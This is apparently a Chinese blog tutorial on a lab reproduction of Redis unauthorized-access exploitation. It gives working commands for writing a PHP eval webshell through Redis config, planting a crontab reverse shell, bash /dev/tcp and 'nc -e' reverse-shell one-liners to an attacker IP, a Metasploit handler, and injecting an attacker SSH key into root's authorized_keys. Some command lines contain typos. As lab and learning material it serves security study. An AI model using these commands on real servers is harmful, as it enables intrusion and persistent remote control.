Redis未授权访问漏洞之反弹连接,SSH Key免密登陆,Webshell提权

Redis简介

如果看了本文章并不是很了解可以去看看(2条消息) Redis基本使用,键(key)命令|Redis持久化|Redis动态修改配置_恰恰想学习的博客-CSDN博客

REmote DIctionary Server(Redis)是一个由Salvatore Sanfilippo写的key-value存储系统,是跨平台的非关系型数据库(端口:6379)

存储缓存用的数据 需要高速读/写的场合使用它快速读/写

什么是Redis未授权访问漏洞?

Redis默认情况下,会绑定0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据,攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器

外网Redis配置

找到redis中的redis.cof文件并打开:
    修改protectd-mode为no
    将#bind 127.0.0.1修改为bind 127.0.0.1
    修改daemonize属性为yes
daemonize:yes:redis采用的是单进程多线程的模式。当redis.conf中选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。
daemonize:no: 当daemonize选项设置成no时,当前界面将进入redis的命令行界面,exit强制退出或者关闭连接工具(putty,xshell等)都会导致redis进程退出。

开放端口6379:
    iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

环境下载

http://download.redis.io/releases/redis-2.8.17.tar.gz

解压后输入make

复现

        编辑redis.conf

         修改daemonize为yes

        将#bind 127.0.0.1中的#删除 

         启动redis服务,并且开启6379端口

同样我们在攻击机上也安装并且进行make

连接靶机的redis

 

检测是否可以正常执行 

 

利用redis写webshell 

        复现条件

靶机redis链接未授权,我们可以通过外网直接访问,并且不需要输入密码
开通了http服务,知道了服务器网站目录的路径,可以通过文件遍历,上传,phpinfo,路径爆破等

       webshell提权命令

/redis-cli -h 192.168.1.1 -p 6379
    远程登陆redis数据库
config set dir var/html/www/
    设置redis备份键值持久化的路径
config set dbfilename shell.php
    将持久化文件名字更改为shell.php
set set "<?php @eval($_POST[test];)?>"

        我们在靶机当前目录开启了一个http服务

 

接着我们回到攻击机上 输入config set dir /root/Desktop

 

输入config set dbfilename shell.php 

输入set djx "<?php phpinfo();?>" 

进行保存save 

接着我们返回浏览器刷新发现出现一个shell.php 

 

 接着我们去访问

 这就是一次webshell获取的步骤

Crontab反弹shell

通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script 脚本。时间间隔的单位可以是分钟、小时、日、月、周的任意组合

 Crontab格式

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

Crontab反弹shell思路:

        通过攻击机端口监听,在redis未授权的情况下编辑我们的持久化文件和名称 通过set 键中的值去写入到/var/spool/cron 将dbfilename文件名称更改为root通过设置的任务去请求我们的攻击机从而获得反弹shell

Cron文件存储路径
路径内容
/var/spool/cron这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab放的是对应周期的任务dalily,hourly,monthly,weekly

Linux crontab命令

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root -l列举某个用户的任务
crontab -u root -e编辑某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务

攻击机常见监听方式

类型命令
netcatnc -lvvp port
msf

msfconsole 

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.18.1.1

set lport port

run

socatsocat TCP-LISTEN:7777 

常见建立反弹连接的方式

类型命令
linux bashbash -i >& /dev/tcp/192.168.142.144/7777 0>&1
netcatnc -e /bin/bash 192.168.1.1 7777

特殊文件/dev/tcp,打开这个文件就类似于发出了一个socket的调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据

Redis反弹连接详情:

连接redis,设置持久化路径为/var/spool/cron

 更改dbfilename文件名为root

攻击机设置监听端口7777 

 

设置键值任务计划值并且保存 等待1分钟后

Redis SSH key免密登陆

靶机开启ssh服务sudo service ssh start 

并且在/root/文件夹中有.ssh目录没有请自行创建mkdir /root/.ssh

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器       

攻击机生成密钥对(公钥,私钥)

客户端把公钥发给服务端保存

客户端用私钥加密消息,发给服务端

服务端用公钥解密,解密成功,说明密钥匹配

客户端免密登陆成功

 攻击机生成密钥对ssh-keygen

 进入存放密钥的路径找到公钥authorized_keys 将里面的值复制一下

 

将公钥的值放在靶机redis里面\n是换行的意思

\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5j6OSioyj1AdNH2wSs9vC0ta+1ZZjHwFOZeI974xAMt7awC50covqX/s34pl3+PUewENS6vHrGp40csmUmb0Hd1390df5KUMkI4DxN2TicPeg9+DdjwY7j0V5T/5VfBrTYmItj+MstUyNoYzxKac+Npx5OtsoRqFYwPcXLB/EL5Fl+LZUFP3HzLsS7KkVSCtcxbv6Lx4BqnPPBednIJIjuJ1Wlh8BkEYUnqSOPzOZCJJ0kvMe4RmJrSafcf9q+Ifx2pUkw0ZxYwPjt8yvISZKvPlxOd8TY2Joa6lnmKEhTd/t94SzBCAoHi3zmOcKEaRV7foyvUFvTDZvmPpvVTRZYW8PEbFc/LxwJvIKnypm4t5aqSDhWetR+lud9Qc1jpktAOx9UIA1jlvEwmN08iyE61o4TPv/RLVvTRfE/3DN2kNAKIdU47QEqKL0TKQ85BrSFk5Jjry/EfRwjtn1ZUS4mk0fWZVOopy2WcqUUlEaMoQfTQmOJqR3pqLiLSwi37s= root@kali\n\n

 设置持久化路径和持久化文件名称

最后连接即可 ssh -i id_rsa root@192.168.1.1 

Redis其他利用方式

        基于主从复制的RCE(Remote Code Execution)

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

.https://github.com/Ridter/redis-rce

        jackson反序列化利用

        lua RCE

        Redis密码爆破

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值